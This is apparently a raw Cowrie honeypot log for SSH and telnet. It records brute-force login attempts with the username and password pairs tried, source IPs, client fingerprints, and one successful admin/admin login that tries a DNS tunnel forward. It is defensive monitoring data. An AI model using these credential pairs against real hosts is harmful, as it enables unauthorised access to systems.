{"eventid":"cowrie.login.failed","username":"root","password":"miami13","message":"login attempt [root/miami13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:34.897159Z","src_ip":"43.130.35.229","session":"67ed98600906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:35.970879Z","src_ip":"43.130.35.229","session":"67ed98600906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":58920,"dst_ip":"10.17.0.5","dst_port":23,"session":"92cd2498dae5","protocol":"telnet","message":"New connection: 213.108.3.46:58920 (10.17.0.5:23) [session: 92cd2498dae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:37.225080Z"}
{"eventid":"cowrie.session.closed","duration":0.009799718856811523,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:37.234751Z","src_ip":"213.108.3.46","session":"92cd2498dae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57246,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5de31a1027","protocol":"telnet","message":"New connection: 152.42.224.71:57246 (10.17.0.5:23) [session: 0b5de31a1027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:40.714041Z"}
{"eventid":"cowrie.session.closed","duration":44.404762983322144,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:40.861032Z","src_ip":"152.42.224.71","session":"a3672a344f6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.37706804275513,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:40.866407Z","src_ip":"152.42.224.71","session":"f04287bffaa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57260,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db556023762","protocol":"telnet","message":"New connection: 152.42.224.71:57260 (10.17.0.5:23) [session: 5db556023762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:42.216780Z"}
{"eventid":"cowrie.session.closed","duration":95.09289717674255,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:42.745020Z","src_ip":"152.42.224.71","session":"76484f4ac7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ecacd8db20a","protocol":"telnet","message":"New connection: 152.42.224.71:56046 (10.17.0.5:23) [session: 0ecacd8db20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:46.266039Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":35506,"dst_ip":"159.203.135.109","dst_port":22,"session":"6137d197b6a3","protocol":"ssh","message":"New connection: 43.130.38.88:35506 (159.203.135.109:22) [session: 6137d197b6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.016507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.020863Z","src_ip":"43.130.38.88","session":"6137d197b6a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.088752Z","src_ip":"43.130.38.88","session":"6137d197b6a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":50122,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b43fd3a3d5f","protocol":"ssh","message":"New connection: 72.52.132.30:50122 (159.203.135.109:22) [session: 3b43fd3a3d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.127685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.132644Z","src_ip":"72.52.132.30","session":"3b43fd3a3d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.181191Z","src_ip":"72.52.132.30","session":"3b43fd3a3d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56050,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6814e42b69","protocol":"telnet","message":"New connection: 152.42.224.71:56050 (10.17.0.5:23) [session: ef6814e42b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.255430Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexsander","message":"login attempt [root/alexsander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.347147Z","src_ip":"72.52.132.30","session":"3b43fd3a3d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@$$w0rd","message":"login attempt [user/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:48.396312Z","src_ip":"43.130.38.88","session":"6137d197b6a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:49.381151Z","src_ip":"72.52.132.30","session":"3b43fd3a3d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:49.467480Z","src_ip":"43.130.38.88","session":"6137d197b6a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56058,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b07ac33557","protocol":"telnet","message":"New connection: 152.42.224.71:56058 (10.17.0.5:23) [session: 30b07ac33557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:49.966186Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56066,"dst_ip":"10.17.0.5","dst_port":23,"session":"842875853860","protocol":"telnet","message":"New connection: 152.42.224.71:56066 (10.17.0.5:23) [session: 842875853860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:55.439131Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13558,"dst_ip":"10.17.0.5","dst_port":22,"session":"a308c71c5fa7","protocol":"ssh","message":"New connection: 87.251.64.176:13558 (10.17.0.5:22) [session: a308c71c5fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:57.176312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:57.180963Z","src_ip":"87.251.64.176","session":"a308c71c5fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:57.277716Z","src_ip":"87.251.64.176","session":"a308c71c5fa7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:57.572400Z","src_ip":"87.251.64.176","session":"a308c71c5fa7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:57.671157Z","session":"a308c71c5fa7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:57.768973Z","src_ip":"87.251.64.176","session":"a308c71c5fa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:57.869698Z","src_ip":"87.251.64.176","session":"a308c71c5fa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.06598782539368,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:00.276402Z","src_ip":"152.42.224.71","session":"781a2bf83f67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37602,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bfdc190f20c","protocol":"telnet","message":"New connection: 152.42.224.71:37602 (10.17.0.5:23) [session: 7bfdc190f20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:02.580613Z"}
{"eventid":"cowrie.session.closed","duration":0.026757478713989258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:02.607240Z","src_ip":"152.42.224.71","session":"7bfdc190f20c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.969825983047485,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:02.683725Z","src_ip":"152.42.224.71","session":"0b5de31a1027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.07043814659119,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:07.973974Z","src_ip":"152.42.224.71","session":"91ef22915ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":57390,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c34fa42bfa","protocol":"ssh","message":"New connection: 159.65.8.74:57390 (10.17.0.5:22) [session: 82c34fa42bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:09.534084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:09.548609Z","src_ip":"159.65.8.74","session":"82c34fa42bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:09.790797Z","src_ip":"159.65.8.74","session":"82c34fa42bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vvv123","message":"login attempt [root/vvv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:10.766468Z","src_ip":"159.65.8.74","session":"82c34fa42bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:12.019145Z","src_ip":"159.65.8.74","session":"82c34fa42bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33818,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b2a4f9efda","protocol":"telnet","message":"New connection: 152.42.224.71:33818 (10.17.0.5:23) [session: 11b2a4f9efda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:14.000229Z"}
{"eventid":"cowrie.session.closed","duration":49.91756296157837,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:15.476196Z","src_ip":"152.42.224.71","session":"e61681ae124d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.555570125579834,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:15.521665Z","src_ip":"152.42.224.71","session":"30b07ac33557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.924405574798584,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:17.363389Z","src_ip":"152.42.224.71","session":"842875853860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":48160,"dst_ip":"159.203.135.109","dst_port":22,"session":"e864d77b30c3","protocol":"ssh","message":"New connection: 37.143.61.241:48160 (159.203.135.109:22) [session: e864d77b30c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:19.994212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:19.999436Z","src_ip":"37.143.61.241","session":"e864d77b30c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:20.085121Z","src_ip":"37.143.61.241","session":"e864d77b30c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustafa123","message":"login attempt [root/mustafa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:20.450009Z","src_ip":"37.143.61.241","session":"e864d77b30c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":36848,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e4163b1c859","protocol":"ssh","message":"New connection: 43.153.31.20:36848 (159.203.135.109:22) [session: 5e4163b1c859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:21.525797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:21.532006Z","src_ip":"43.153.31.20","session":"5e4163b1c859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:21.539701Z","src_ip":"37.143.61.241","session":"e864d77b30c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:21.600892Z","src_ip":"43.153.31.20","session":"5e4163b1c859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autumn","password":"123456","message":"login attempt [autumn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:21.906511Z","src_ip":"43.153.31.20","session":"5e4163b1c859","protocol":"ssh"}
